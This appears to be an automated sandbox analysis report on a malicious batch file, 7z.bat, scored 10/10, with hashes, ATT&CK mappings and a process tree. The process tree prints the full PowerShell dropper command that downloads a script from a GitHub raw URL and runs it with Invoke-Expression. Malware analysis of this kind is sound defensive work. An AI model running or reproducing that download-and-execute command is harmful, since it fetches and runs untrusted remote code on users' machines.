9235d2676794ff9cc054258ec08e894647ed0112a94f078c9b901d8f1aa049ce

Analysis

max time kernel
117s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
08/09/2024, 12:02

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General

Target

Files/Apps/7z.bat
Size

839B
MD5

baf3616b558a8160895bb9c31461d927
SHA1

af5f159645fec5df4aafc1a750c3384fe3763dbb
SHA256

bee39c3a45d5b37932654aaf12345292b570f292b6385e29eaa3f8dc9985cd1c
SHA512

10e754aabc91ed4cb007ddbeac840289b8d5db728e4f0ebe59cee7dedf546f073d8a9148fdd7c216d266977dade9dcda2ee75ce174c8c1dc2fd888ebe9597db0

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/SchooiCodes/file_hosting/main/7z.ps1

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2808	powershell.exe
6	2808	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2396	powershell.exe
2808	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	raw.githubusercontent.com
5	raw.githubusercontent.com
6	raw.githubusercontent.com

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2396	powershell.exe
2808	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2396	powershell.exe
Token: SeDebugPrivilege	2808	powershell.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 2532 wrote to memory of 2524	2532	cmd.exe	31
PID 2532 wrote to memory of 2524	2532	cmd.exe	31
PID 2532 wrote to memory of 2524	2532	cmd.exe	31
PID 2532 wrote to memory of 2188	2532	cmd.exe	32
PID 2532 wrote to memory of 2188	2532	cmd.exe	32
PID 2532 wrote to memory of 2188	2532	cmd.exe	32
PID 2188 wrote to memory of 2500	2188	cmd.exe	33
PID 2188 wrote to memory of 2500	2188	cmd.exe	33
PID 2188 wrote to memory of 2500	2188	cmd.exe	33
PID 2532 wrote to memory of 2372	2532	cmd.exe	34
PID 2532 wrote to memory of 2372	2532	cmd.exe	34
PID 2532 wrote to memory of 2372	2532	cmd.exe	34
PID 2532 wrote to memory of 1932	2532	cmd.exe	35
PID 2532 wrote to memory of 1932	2532	cmd.exe	35
PID 2532 wrote to memory of 1932	2532	cmd.exe	35
PID 2532 wrote to memory of 2396	2532	cmd.exe	36
PID 2532 wrote to memory of 2396	2532	cmd.exe	36
PID 2532 wrote to memory of 2396	2532	cmd.exe	36
PID 2532 wrote to memory of 2808	2532	cmd.exe	37
PID 2532 wrote to memory of 2808	2532	cmd.exe	37
PID 2532 wrote to memory of 2808	2532	cmd.exe	37

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Files\Apps\7z.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2532
- C:\Windows\system32\fltMC.exe
  fltmc
  2⤵
  PID:2524
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c chcp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2188
- - C:\Windows\system32\chcp.com
    chcp
    3⤵
    PID:2500
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:2372
- C:\Windows\system32\chcp.com
  chcp 437
  2⤵
  PID:1932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$PSVersionTable.PSVersion.Major"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$wc = New-Object System.Net.WebClient; $script = $wc.DownloadString('https://raw.githubusercontent.com/SchooiCodes/file_hosting/main/7z.ps1'); Invoke-Expression $script"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EOMT3Y2SBI8FJR6CPUIT.temp

Filesize
7KB

MD5
b4b396e584e9ac35da145e1477f4b820

SHA1
d8aa91e32043c2742beec756f6258f1db1ed56c5

SHA256
a4dc2188d5178fc57c15e39a621d7f46e291c0da2cdaa21a85fda62cfc747a54

SHA512
08248b81cdf407deae58fcb75b4b836230e79631794a67d269802cec5dce3bb18d1eb763f542e77a17a0e22fb9577acc17d787a3ef04323665ac49b3b4f4fff7

Download Submit
memory/2396-4-0x000007FEF628E000-0x000007FEF628F000-memory.dmp

Filesize
4KB

Download
memory/2396-5-0x000000001B6B0000-0x000000001B992000-memory.dmp

Filesize
2.9MB

Download
memory/2396-7-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2396-8-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2396-6-0x0000000001D20000-0x0000000001D28000-memory.dmp

Filesize
32KB

Download
memory/2396-9-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2396-11-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2396-10-0x00000000028EB000-0x0000000002952000-memory.dmp

Filesize
412KB

Download
memory/2396-12-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2808-21-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2808-22-0x0000000001D10000-0x0000000001D18000-memory.dmp

Filesize
32KB

Download